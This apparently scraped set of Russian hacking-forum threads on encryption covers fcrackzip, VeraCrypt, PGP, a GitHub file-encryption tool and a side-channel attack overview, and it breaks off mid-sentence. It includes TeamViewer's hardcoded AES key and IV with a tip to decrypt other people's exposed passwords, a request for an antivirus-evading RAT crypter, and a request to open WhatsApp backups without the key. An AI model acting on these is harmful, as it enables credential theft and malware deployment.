Другие методы​

Параметр (switch –help) способен предоставить пользователю список доступных методов. Может использоваться параметр (–benchmark), чтобы понять, какой способ лучше всего подходит для компьютера человека. Следует выбрать номер нужного метода.

Code:Copy to clipboard

fcrackzip -b -v -c 'a' -m 1 -u file.zip

Инструмент fcrackzip: функции и главные особенности

Benchmark​

Этот параметр помогает пользователю выяснить, какой метод fcrackzip наиболее эффективен для его компьютера. Методы получат свои баллы в зависимости от их эффективности.

Code:Copy to clipboard

fcrackzip -B

Инструмент fcrackzip: функции и главные особенности

Автор [переведенной статьи](https://www.hackingarticles.in/comprehensive- guide-on-fcrackzip-tool/): Shubham Sharma.
Важно! Информация исключительно в учебных целях. Пожалуйста, соблюдайте законодательство и не применяйте данную информацию в незаконных целях.

Шифрование диска до загрузки?
ID: 676536fbb4103b69df373892
Thread ID: 42453
Created: 2020-09-24T18:50:13+0000
Last Post: 2020-10-04T17:20:36+0000
Author: fedyamask1991
Replies: 2 Views: 2K

Сейчас пересел на Windows, и хотелось бы до загрузки винды, а именно при включении, иметь шифрованный диск.
Убунту предлагала такой вариант до установки, а вот винда не предложила.
Переставлять систему не хотелось бы, хотелось бы что-то простое, и в то же время надежное.
Есть варианты?

подскажите по crypt12 ХЕЛП
ID: 676536fbb4103b69df373893
Thread ID: 42765
Created: 2020-10-02T07:22:42+0000
Last Post: 2020-10-02T17:47:50+0000
Author: coolmiks
Replies: 1 Views: 2K

приветствую, подскажите как вскрыть копии чата вацап, без файла ключа. Может софт есть какой под unx win хоть что то вот так выглядят файлы 9999.png

Правильно шифруем с VeraCrypt
ID: 676536fbb4103b69df37389b
Thread ID: 41584
Created: 2020-08-31T19:49:06+0000
Last Post: 2020-09-07T10:35:50+0000
Author: tabac
Replies: 6 Views: 2K

Просто делюсь своими мыслями, можете дополнить или покритиковать. О том, как правильно шифровать винты и создавать контейнеры с VeraCrypt

  • алгоритм шифрования - используем AES
  • Комбинированные и экзотические варианты работают медленно, не предоставляя при этом никакой дополнительной безопасности.
  • Выбор хеш-функции - выбираем хеш-функцию, нам нужен самый нестандартный и самый медленный алгоритм. Это или SHA-512 или Whirlpool
  • Выбор числа итераций. Это значение PIM. Обязательно ставим галочку "Use PIM". В вере по умолчанию стоит 485. Нам нужно выставить не дефолтное значение. PIM сильно влияет на скорость монтирования криптоконтейнера. Ставьте от 490 до 600 в идеале.
  • Ставим галочку в опциях VeraCrypt "activate encryption of keys and password stored RAM" то есть возможность шифрования ключей шифрования в оперативной памяти компьютера.
  • Отключаем файл гибернации и файл подкачки в Windows

Power Options > System Settings >Hibernate

Click to expand...

снимаем галочку

Fast Startup

Click to expand...

снимаем галочку

Allow hybrid sleep

Click to expand...

отключаем

Если я что-то забыл, добавляйте )

GPG ключи, тема для ваших PGP ключей
ID: 676536fbb4103b69df3738a3
Thread ID: 38306
Created: 2020-06-10T12:39:17+0000
Last Post: 2020-08-26T11:30:40+0000
Author: bb_runion
Replies: 4 Views: 2K

Мой GPG ключ:

Spoiler: ключ

-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: GnuPG v1

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
NrU=
=tKA2
-----END PGP PUBLIC KEY BLOCK-----

А теперь чуть подробнее. В зоне .onion считается хорошим тоном вести личную переписку с шифрованием PGP начиная с первого сообщения. В первом сообщении следует указать контакты для связи и свой публичный PGP ключ для ответа.

Пользоваться PGP совсем не трудно, для этого нужно выучить несколько команд в Linux терминале, или установить виндовую gpg4usb на флешку. Можно в любой момент сгенерировать себе пару ключей. При создании ключа нужно много случайных бит информации, поэтому программа попросит вас пошевелить мышкой, это даст компьютеру возможность собрать больше энтропии и сгенерировать случайный приватный ключ и подходящий к нему публичный ключ. Размер ключа всегда выбирайте самый большой.

Не перепутайте ключи. Публичный ключ вы раздаете, с его помощью любой может зашифровать вам сообщение. Расшифровать обратно можно только соответствующим приватным ключем, не давайте приватный ключ никому.

Кроме шифрования можно еще подписывать сообщения. Текст сообщения будет виден всем желающим, а валидная криптографическая подпись будет означать, что текст не подвергался изменениям и его написал владелец приватного ключа. Таким образом вы можете доказать другим людям, что это вы и что вы все еще владеете своим GPG ключем. Также некоторые параноидальные хакерские форумы во время логина требуют валидацию pgp ключа.

В основе PGP лежит схема шифрования RSA для публичных ключей. Само сообщение шифруется одноразовым симметричным ключем, а сам одноразовый ключ шифруется по схеме RSA.

Кроме PGP ключа еще было бы неплохо указать запасной канал связи с вами на случай отказа форума, просто добавьте вашу почту в подпись (и ссылку на тему с ключами).

Не теряйте пароль от ключа.

Когда будете постить сюда свой ключ, заверните его под спойлер.

Шифруем всю память устройства (на Python)
ID: 676536fbb4103b69df3738af
Thread ID: 36724
Created: 2020-04-24T14:11:53+0000
Last Post: 2020-04-29T09:39:15+0000
Author: pablo
Replies: 4 Views: 2K

ЯП - Python
шифрование - AES

Программа кроссплатформенная, вы можете запустить ее абсолютно на любой OS, в абсолютно любом терминале.

Termux

Code:Copy to clipboard

apt update && apt upgrade
pkg install git python -y
termux-setup-storage (разрешаем)
pip install pyAesCrypt
pip install colorama
git clone https://github.com/kitasS/Crypter/
cd Crypter
chmod 777 *
python crypter.py

Linux

Code:Copy to clipboard

sudo apt-get upgrade
sudo apt-get install python3 git -y
pip3 install pyAesCrypt colorama
git clone https://github.com/kitasS/Crypter/
cd Crypter
python3 crypter.py

Я для теста зашифрую папку TermuxtopClan, которая находится в корневой директории телефона, но если вы хотите зашифровать вообще все, что находится в телефоне пишите/sdcard

неверный пароль при расшифровке:

верный пароль при расшифровке:

Сорец:

github.com

kitasS/Crypter

Программа шифрует файлы. Создана в ознакомительных целях, не для использования

  • kitasS/Crypter

github.com github.com

Поиск файла шифрования крыс
ID: 676536fbb4103b69df3738b0
Thread ID: 36566
Created: 2020-04-20T22:22:39+0000
Last Post: 2020-04-21T14:23:33+0000
Author: Thelion
Replies: 2 Views: 2K

Я ищу шифровщик файлов крысы, чтобы он не мог быть обнаружен антивирусом.

Спасибо, что связались со мной:

Телеграмма: @THELIONC

Джаббер: thespiritlion@xmpp.jp

Спасибо

О том, как TeamViewer хранит пароли
ID: 676536fbb4103b69df3738b2
Thread ID: 35609
Created: 2020-03-20T15:31:54+0000
Last Post: 2020-03-20T15:31:54+0000
Author: tabac
Replies: 0 Views: 2K

TeamViewer — популярная программа для удалённого доступа к рабочему столу. Поэтому довольно интересно посмотреть, как она хранит пароли. Если вкратце, пароли хранятся в реестре Windows в зашифрованном виде. Для шифрования используется алгоритм AES-128-CBC и секретный ключ 0602000000a400005253413100040000.

Такой метод сохранения паролей и связанное с ним повышение привилегий официально зарегистрированы 7 февраля 2020 года как уязвимость CVE-2019-18988 (применима ко всем версиям TeamViewer до 14.7.1965 включительно).

Начинающий специалист по безопасности, который обнародовал эту уязвимость, наткнулся на неё случайно. Он рассказывает, что работал у клиента и во время резервного копирования заметил ключи реестра TeamViewer, которые назывались OptionsPasswordAES и SecurityPasswordAES.

Впоследствии ему стало интересно, что это за ключи и как вообще TeamViewer хранит пароли. Он импортировал их на свежую систему на виртуальной машине и запустил сканер BulletPassView, который собирает пароли в системе. Сканер выдал пароль TeamViewer открытым текстом.

![](/proxy.php?image=https%3A%2F%2Fhabrastorage.org%2Fwebt%2Fb9%2Fsj%2Fcd%2Fb9sjcd_o_eap48qc- omonzznhvo.png&hash=925d364479800d2db9d232e4e80d2953)
Сканер BulletPassView

Затем с помощью программы Cheat Engine (для взлома игр под Windows) специалист провёл поиск этого пароля в оперативной памяти — и нашёл его опять же открытым текстом. Позже выяснилось, что данная уязвимость уже зафиксирована два года назад как CVE-2018-14333.

Потом пришло время проверить, откуда в памяти у клиента TeamViewer берётся ключ: с сервера или с локального хоста. Оказалось, что сетевой трафик отсутствует, но пароль в памяти всё равно есть. Реверс-инжиниринг бинарника TeamViewer с помощью IDA Pro, API Monitor, procdump и Frida занял несколько недель, но ничего не дал, хотя парень по ходу дела освоил несколько новых инструментов, так что процесс нельзя назвать бесполезным.

В ходе поиска информации оказалось, что немало людей уже задавалось вопросом, как найти в ресурсах AES-ключи для игр Unity. Оказалось, что это совсем несложный процесс, для которого достаточно [использовать дебаггер](https://blog.jamie.holdings/2019/03/23/reverse-engineering-aes-keys- from-unreal-engine-4-projects/). Спустя шесть часов он нашёл фрагмент кода TeamViewer, отвечающий за AES-шифрование:

Code:Copy to clipboard

=================================================
"ServerPasswordAES"=hex:88,44,d7,0a,b2,96,2a,3d,63,16,3c,ff,e4,15,04,fb
=================================================
Takes 8844d70ab2962a3d63163cffe41504fb into xmm0
Takes 5B659253E5E873D26723B7D5EAC06E3B into xmm1
pxor xmm0, xmm1
movdqa xmmword ptr ds:[eax],xmm0
[eax] = D3214559577E59EF04358B2A0ED56AC0

movdqa xmm1,xmmword ptr ds:[esi] | [esi] = 25C8C8BD4298BB32A57EECBDBD045BBB
movdqa xmm0,xmmword ptr ds:[eax] | [eax] = D3214559577E59EF04358B2A0ED56AC0
aesdec xmm0,xmm1 | One round of an AES decryption, using Equivalent Inverse Cipher, 128-bit data (state) from xmm1 with 128-bit round key from xmm2/m128; store the result in xmm1.
movdqa xmmword ptr ds:[eax],xmm0 | [eax] = 6F AA 98 76 DE 11 7D 8D 7E B6 EE 61 2D 3D 15 52
movdqa xmm1,xmmword ptr ds:[esi+10] | [esi+10]=[008FDE10]=79 DC 78 A6 67 50 73 8F E7 E6 57 8F 18 7A B7 06
add esi,20 |
dec ecx | ecx = 3
aesdec xmm0,xmm1 | do the actual decryption
movdqa xmmword ptr ds:[eax],xmm0 | [eax]=[008FDC90]=E3 58 26 46 A7 37 12 40 85 1C C0 43 7D 1F 1E 30

Three more rounds of aesdec then
aesdeclast xmm0, xmm1 .| Last round of AES decryption, using Equivalent Inverse Cipher, 128-bit data (state) from xmm2 with a 128-bit round key from xmm3/m128; store the result in xmm1.

008FDC90 01 00 01 00 67 24 4F 43 6E 67 62 F2 5E A8 D7 04 ....g$OCngbò^¨×.

Этот код берёт из реестра несколько байт ServerPasswordAES и расшифровывает их с помощью ключа, полученного путём XOR'а прописанных значений esi и eax. В результате получается ключ 0602000000a400005253413100040000, а значение IV равняется 0100010067244F436E6762F25EA8D704.

В версии TeamViewer 14 новый скриптовый движок позволяет повысить привилегии до NT AUTHORITY\SYSTEM, прочитав пароль TeamViewer в реестре с правами юзера.

Ну и ещё можно расшифровать некоторые чужие пароли, погуглив [SecurityPasswordAES], [OptionsPasswordAES], [SecurityPasswordExported] или [PermanentPassword] с параметром поиска [filetype:reg].

TeamViewer закрыла эту уязвимость в последних версиях. Как теперь программа шифрует пароли, ещё не разобрались.

взято с (с) GlobalSign

Стеганографическая задачка с хакбокса
ID: 676536fbb4103b69df3738b3
Thread ID: 35571
Created: 2020-03-19T10:11:28+0000
Last Post: 2020-03-19T11:39:19+0000
Author: Vacation
Replies: 4 Views: 2K

Собственно сама картинка:
https://www.sendspace.com/file/rdvn7m
pass: hackthebox

Spoiler: У меня на данный момент получилась такая картинка

2020-03-19_12-58-09.png

Из исходной, но не могу понять, что это от слова совсем, кто-нибудь знает или сможет подсказать?
Заодно если кто-то хочет может отточить навыки, формат фалага HTB{text}

Обходные пути. Как атаки по сторонним каналам позволяют красть данные и обходить шифрование
ID: 676536fbb4103b69df3738b4
Thread ID: 35511
Created: 2020-03-14T17:18:31+0000
Last Post: 2020-03-14T17:18:31+0000
Author: weaver
Prefix: Статья
Replies: 0 Views: 2K

Все техники взлома криптографических систем разделяют на две большие группы: использующие недостатки самих алгоритмов шифрования и их физических реализаций. В этой статье мы рассмотрим последние, которые называют SCA (side- channel attacks) — атаки по сторонним (или побочным) каналам.

Что такое SCA

В отличие от абстрактной математической модели, любая физическая реализация шифрсистемы не может быть полностью изолирована. Она всегда состоит из каких- то серийно выпускаемых компонентов, имеющих свои особенности работы. Например, криптомодуль неодинаково потребляет электроэнергию во время разных битовых операций, создает характерные радиочастотные помехи, испытывает отличающиеся в зависимости от входных данных задержки, сильнее нагревается в одном случае и слабее в другом. Все это — косвенные данные, которые позволяют узнать секретную информацию, не имея к ней прямого доступа.

На практике SCA в различных вариантах используются очень широко — от подслушивания паролей, до считывания защищенных областей памяти в обход изоляции адресного пространства, причем необязательно на локальной машине.

Суть SCA состоит в том, чтобы вместо лобовой атаки перехватить какие-то побочные сигналы, возникающие при обработке изолированных или зашифрованных данных. Затем по этим сигналам пытаются восстановить секретную информацию (пароль, хеш, ключ шифрования, текст сообщения) без прямого обращения к защищенным данным.

Звуковые колебания

Простейший пример: ты хочешь узнать пароль своего коллеги, но не можешь подсмотреть его во время набора. При этом на слух удается определить его длину и однократное использование пробела — эта клавиша звучит очень своеобразно. Безовсякого оборудования и хитрых программ ты уже узнал многое о пароле, просто навострив уши.

Если же сделать несколько аудиозаписей того, как логинится коллега, а затем применить статистический анализ, то ты смог бы восстановить весь пароль или его большую часть. Единичные неуверенно распознанные символы все равно подбираются по маске за короткое время.

Такой же по сути (но более сложный в плане реализации) метод атаки по сторонним каналам использовало британское агентство GCHQ в середине шестидесятых. Оно установило микрофоны в египетском посольстве и записывало звуки, которые издает механическая шифровальная машина. По ним выяснили начальные положения двух символьных дисков, а дальше вскрыли схему шифрования обычным перебором.

Сегодня SCA редко выполняются по акустическому каналу — разве что это делается в качестве академического исследования. Например, известный криптограф Ади Шамир задался целью восстановить ключ RSA по диктофонной записи звуковых паттернов шифрования. (Да, электроника тоже по-разному скрипит, когда выполняет типовые операции.) Ему в итоге удалось это сделать, правда в совершенно нетипичных условиях: компьютер непрерывно шифровал одним и тем же ключом в течение часа, все остальные процессы были выгружены.

Электромагнитное излучение

Куда чаще на практике измеряют электромагнитное излучение (ЭМИ). Оно тоже меняется в зависимости от того, какой скан-код отправляется компьютеру с клавиатуры и какие инструкции выполняют разные чипы. По-русски это называется регистрация ПЭМИН (побочных электромагнитных излучений и наводок), а в англоязычной литературе — TEMPEST (Transient Electromagnetic Pulse Emanation Standard).

Аббревиатура TEMPEST была взята из одноименной секретной программы США семидесятых годов. К настоящему времени на ее основе был разработан целый набор стандартов, где описаны требования для защиты оборудования разного класса от демаскирующих ЭМ-излучений. В нулевых годах термин TEMPEST стали использовать для обозначения любой атаки, основанной на регистрации побочного ЭМИ.

В современном варианте для анализа ПЭМИН чаще всего используются программируемые радиосистемы (SDR). Например, в работе Stealing Keys from PCs using a Radio авторы показывают, как с помощью ресивера FUNcube Dongle Pro+ можно вскрыть RSA‐ключи, находясь в полуметре от обрабатывающего их ноутбука.

Еще одна любопытная модификация этой атаки — непрерывное измерение электрического потенциала на корпусе ноутбука во время шифрования или дешифрования. Сопоставив график с известным шифртекстом и алгоритмом, можно вычислить ключ даже очень большой длины.

Виды атак по сторонним каналам

Если получить физический доступ к оборудованию, то векторов для атаки по сторонним каналам становится больше. Можно измерять задержки выполнения разных операций (timing attack), пики потребления энергии в начале раундов шифрования (power-monitoring attack), манипулировать входными данными и изучать сообщения об ошибках (fault attacks). Вот общая схема.

1584202555945.png

Смешанная классификация атак по сторонним каналам

Разделение это очень условное. Например, под «удаленными» здесь понимают как сетевые атаки (см. атака по времени на OpenSSL, PDF), так и, скажем, перехват радиосигналов (про него можешь подробнее посмотреть в исследовании A Survey of Electromagnetic Side‐Channel Attacks, PDF).

В свою очередь, «локальность» может означать как простую возможность подойти к компьютеру поближе, так и возможность запустить на нем код с локального носителя или даже подпаять провода к криптографическому модулю.

С разделением на активные и пассивные атаки все относительно просто. Вмешиваешься в работу криптосистемы? Меняешь ее параметры? Это активные действия. Тихо сидишь с приемником и молча наблюдаешь? Это пассивный перехват, при котором ты вряд ли спалишься.

Чаще всего активные атаки выполняют для ускорения взлома, но иногда это просто единственный вариант. Например, чтобы вскрыть криптомодуль методом «черного ящика», нужно отправлять ему на вход разные (заведомо известные) сообщения и накапливать выходные данные для последующего статистического анализа (разностный метод).

Считывание остаточной информации

Это одна из самых популярных техник. Она включает в себя восстановление недавно удаленных файлов, универсальную атаку методом холодной перезагрузки (cool boot attack) и более специфические приемы — например, извлечение ключа BitLocker из дампа оперативной памяти.

При работе программы оставляют множество следов на диске (временные файлы, логи) и в оперативке (которая виртуализируется и периодически свопится на тот же диск), поэтому всегда стоит начинать с поиска остаточной информации. Большинство методик требуют наличия физического доступа, но возможны и удаленные атаки, например скачивание бэкапов по сети или считывание кеша сетевого МФУ в поисках прошедших через него документов.

Анализ ошибок вычислений

Самая длительная процедура. Используется в том случае, если у тебя нет более простых возможностей. На уровне аппаратного шифрования возникновение ошибки в расчетах можно спровоцировать изменением тактовой частоты или напряжения питания криптографического модуля. Эти манипуляции сильно упростили появление доступной платформы ChipWhisperer для анализа устойчивости к SCA хардверных компонентов.

В обычных компьютерах шифрование программное, поэтому там приходится действовать иначе. Ты раз за разом подменяешь часть зашифрованных данных (например, перезаписывая страницы памяти) и смотришь на ошибки, возникающие при их дальнейшей обработке. Так или иначе, в ходе атаки ты постепенно накапливаешь статистику для дифференциального анализа в надежде, что найдешь какую‐то закономерность между входными и выходными параметрами между известным тебе открытым текстом и зашифрованным.

Из‐за типичных недочетов прикладных программ и драйверов этот процесс может быть на удивление результативным. Например, в работе Fault Attacks on Encrypted General Purpose Compute Platforms описано, как можно взломать секретный ключ RSA в программе GnuPG, анализируя ошибки системы с шифрованием всех данных в оперативной памяти (аналог AMD Secure Memory Encryption).

Атака по времени

Эта атака становится возможной в том случае, если длительность операций шифрования зависит от структуры данных. Это справедливо для всех криптосистем, выполняющих операции сложения над произвольным (неизвестным заранее) числом битов. Например, для RSA и основанного на нем протокола SSL.

Хуже того, есть разновидность универсальных атак по времени. Они нацелены на кеш процессора общего назначения и могут раскрыть информацию из любого текущего процесса — включая менеджер паролей, браузер в песочнице и виртуальный диск с шифрованием на лету. Подробнее см. статью про Meltdown и Spectre.

(Не)инвазивные атаки

Инвазивностью называют необходимость физических воздействий на атакуемую систему. К примеру, вскрыть корпус USB‐Flash с аппаратным шифрованием, растворить эпоксидку ацетоном и удалить медную экранирующую пластину — это инвазивная атака (ее сотрудники Google демонстрировали на Black Hat 2017, см. слайды их презентации, [PDF](https://www.blackhat.com/docs/us-17/thursday/us-17-Picod-Attacking- Encrypted-USB-Keys-The-Hard(ware)-Way.pdf)). Если внутри такой флешки нет экранирования, то можно действовать неинвазивно и сразу выполнить пассивную TEMPEST‐атаку. Соответственно, есть промежуточные «полуинвазивные» методы, при которых не происходит необратимых изменений конструкции.

Самый инвазивный метод — это зондированиe. В простейшем случае вскрывают криптомодуль и на его ножки или дорожки подсоединяют измерительное оборудование. В экстремальном варианте его изучают в буквальном смысле под микроскопом. С чипа снимается тонкий слой микротомом, после чего внутренняя структура микросхемы фотографируется с большим увеличением. Процедура повторяется до тех пор, пока не удастся восстановить принципиальную схему.

Зондирование со «скоблением» микросхем и макросъемкой было популярно в восьмидесятых, когда внутри чипов содержалось сравнительно мало транзисторов, а их размеры позволяли разглядеть соединения в оптический микроскоп. Сейчас оно используется в основном для сравнительного анализа отдельных микроконтроллеров и специализированных схем. Изучить таким образом устройство современных процессоров практически невозможно из‐за жестких технологических норм (14 нм и менее) и обилия элементов (миллиарды транзисторов).

ЗАЛОГ УСПЕХА
В целом не так важно, какой побочный канал выбрать. Главное, чтобы во время считывания данных выполнялись следующие условия:

• уровень регистрируемого сигнала выше уровня шумов (достаточно высокое соотношение SNR);
• между характеристиками перехваченного сигнала и искомыми данными есть корреляция (необязательно очевидная, но выявляемая статистическими методами);
• на стороннем канале наблюдаются известные низкие задержки (регистрируемая величина меняется почти синхронно с исследуемой);
• частота регистрации сигнала в побочном канале равна частоте изменения секретных данных или превышает ее.

Эти условия нарушаются в неаккуратных экспериментах, поэтому на хакерских конференциях иногда встречаются безосновательные заявления про новые типы SCA. Например, по изменению уровня освещенности в комнате пытаются воссоздать изображение на мониторе. В эпоху ЭЛТ это было возможно из‐за строчной развертки, но с появлением ЖК‐панелей (у которых кадры сменяются целиком) для такой атаки стало недостаточно данных. Вероятность успеха оказалась примерно такая же, как угадать состояние FHD‐матрицы по одному пикселю.

Бывает, что метод явно пытаются использовать за границами его применимости. К примеру, динамика показателей напряжения и силы тока, снятых непосредственно с чипа, многое расскажет о характере его вычислений. Так, при помощи CPA (Correlation Power Analysis) в 2014 году удалось взломать AES во всех режимах шифрования. При этом бесполезно пытаться восстановить секретный ключ по изменению энергопотребления компьютера.
Максимум получится определить, что он включен и выполняет какие‐то ресурсоемкие операции.

ЗАЩИТА ОТ SCA

Способы противодействия атакам по сторонним каналам становятся очевидны из анализа практик взлома. Вот набор общих рекомендаций:

• максимальная изоляция. Как администратор — отключи неиспользуемые сетевые интерфейсы, закрой лишние порты. Как пользователь — используй экранную клавиатуру для ввода паролей. Как параноик — установи на экран поляризующий светофильтр для защиты от подглядывания;
• контроль физического доступа. Запирай свои внешние носители в сейфе или держи при себе. Если у них и есть настоящее шифрование — это не повод бросать их на столе. Не пускай за компьютер посторонних в твое отсутствие даже под гостевой учеткой. Самый страшный хакер — с отверткой и загрузочной флешкой;
• устранение следов. Используй гарантированное удаление файлов, очистку файла подкачки, кеша браузера и каталогов со временными файлами. Самые конфиденциальные данные обрабатывай в Live OS, нацеленных на приватность;
• выбор криптосистем с элементами противодействия SCA. Один и тот же алгоритм шифрования может иметь принципиально отличающиеся реализации. Так, AES‐CTR менее уязвим к SCA, чем AES‐ECB;
• создание шумов. Падение SNR ниже критического уровня сделает любую дистанционную атаку неэффективной. Громкая музыка помешает подслушать, микроволновка забьет часть ЭМ‐спектра шумами. Более надежно это делают специализированные генераторы помех;
• общие правила безопасности. Регулярная смена паролей и ключей шифрования сделает бесполезными сложные схемы их перехвата.

Остальные методы касаются разработчиков защищенных устройств:

• рекомендуется экранировать все электронные схемы, кроме модулей беспроводной связи (anti‐TEMPEST);
• стирать маркировку микросхем и заливать платы эпоксидной смолой (противодействие инвазивным методам);
• выравнивать время выполнения операций (anti‐timing);
• балансировать энергопотребление (anti‐CPA);
• использовать встроенный (а не внешний) тактовый генератор и дополнительный стабилитрон (anti‐fault);
• убирать из серийных продуктов отладочные порты;
• выбирать алгоритмы с побитовыми операциями над фиксированным числом битов (независимость от входных данных);
• маскировать данные и чаще менять векторы инициализации (мешает поиску корреляций).

ЗАКЛЮЧЕНИЕ

Помимо криптографических систем, атаки по сторонним каналам все чаще выполняются в отношении типовых компонентов компьютеров. Например, недавно была описана [SCA на кеш виртуальной памяти](https://xakep.ru/2019/01/10/side- channel-attack/) со страничной организацией и еще одна универсальная [атака на изоляцию сегментов памяти](https://threatpost.ru/new-vulnerabilities-in-intel- processors/32658/) в архитектуре Intel x86.

Старые протоколы шифрования можно атаковать в лоб, поскольку они содержат известные уязвимости на уровне криптографических примитивов. Например, из‐за подверженности [коллизиям](https://csrc.nist.gov/News/2017/Research-Results- on-SHA-1-Collisions) хеш‐функция SHA‐1 позволяет достаточно быстро сгенерировать поддельную цифровую подпись или создать фейковый сертификат. Аналогичная ситуация сложилась с потоковым алгоритмом RC4. Он лежит в основе WEP‐авторизации, которая вскрывается с помощью AirCrack за минуту.

Это все известные слабости старых алгоритмов. Для новых пока не придумано эффективных атак, поэтому единственный способ вскрыть их техническими методами — искать обходные пути. Обычно конкретная модификация атаки удовлетворяет сразу нескольким критериям, поскольку побочные каналы дополняют друг друга.

Ссылки
Атака измерением электрического потенциала, PDF
Атака на страничный кеш, PDF
Spectre4ever — микроархитектурные побочные каналы

Автор: Андрей Васильков (с)

Аппаратный ключ шифрования за 3$ — возможно ли это?
ID: 676536fbb4103b69df3738b7
Thread ID: 34884
Created: 2020-02-10T14:05:41+0000
Last Post: 2020-02-10T14:05:41+0000
Author: tabac
Replies: 0 Views: 2K

Повсеместное шифрование и, как следствие, обилие ключей заставляет задуматься об их надежном хранении. Хранение ключей на внешних устройствах, откуда они не могут быть скопированы, уже давно считается хорошей практикой. Я расскажу о том, как за 3$ и 2 часа сделать такой девайс.

Кратко о принципах работы

